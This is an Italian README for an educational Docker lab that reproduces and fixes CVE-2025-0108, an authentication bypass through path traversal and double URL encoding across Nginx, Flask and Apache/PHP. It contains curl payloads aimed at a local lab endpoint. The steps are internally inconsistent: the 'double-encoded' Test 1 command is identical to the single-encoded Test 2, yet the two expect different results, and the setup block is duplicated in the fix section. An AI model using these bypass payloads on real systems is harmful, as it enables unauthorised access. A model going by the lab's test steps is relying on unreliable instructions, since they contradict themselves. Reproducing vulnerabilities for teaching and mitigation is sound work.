
Questa repository contiene un piccolo ambiente di laboratorio per riprodurre e mitigare il problema CVE-2025-0108 (confusione del percorso / header smuggling tra Nginx e Apache).
L'obiettivo dell'esercizio è dimostrare come le richieste con doppia codifica possano aggirare l'autenticazione in uno stack multilivello (Nginx -> backend Flask -> Apache/PHP) e mostrare una mitigazione lato backend.
Questo ambiente è esclusivamente a scopo didattico.
CVE-2025-0108/ — implementazione vulnerabile (PoC)CVE-2025-0108_fix/ — implementazione corretta (il backend verifica il percorso decodificato)CVE-2025-0108Simulare la configurazione vulnerabile in cui un percorso con doppia codifica può aggirare l'autenticazione a causa della decodifica incoerente del percorso tra i vari livelli.
Dalla directory CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
Esegui questi comandi curl dal tuo host:
Test 1 — doppia codifica (atteso: HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Questa richiesta utilizza la doppia codifica (%252e%252e == %2e%2e == ..) e dimostra il bypass nella configurazione vulnerabile. Dovrebbe restituire 200 OK.
Test 2 — codifica singola (atteso: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Test 3 — percorso non codificato con .. (atteso: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Ferma gli ambienti:
docker compose down
Il backend esegue un controllo aggiuntivo sul percorso decodificato prima di consentire l'accesso. Questo impedisce il bypass dell'autenticazione quando le richieste presentano una doppia codifica.
Dalla directory CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
Esegui questi comandi curl dal tuo host:
Dalla directory CVE-2025-0108_fix:
cd CVE-2025-0108_fix
docker compose up --build
Test 1 — doppia codifica (atteso: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Il backend corretto rileva il .. decodificato e restituisce 401 Non autorizzato.
Test 2 — codifica singola (atteso: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Test 3 — percorso non codificato con .. (atteso: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Ferma gli ambienti:
docker compose down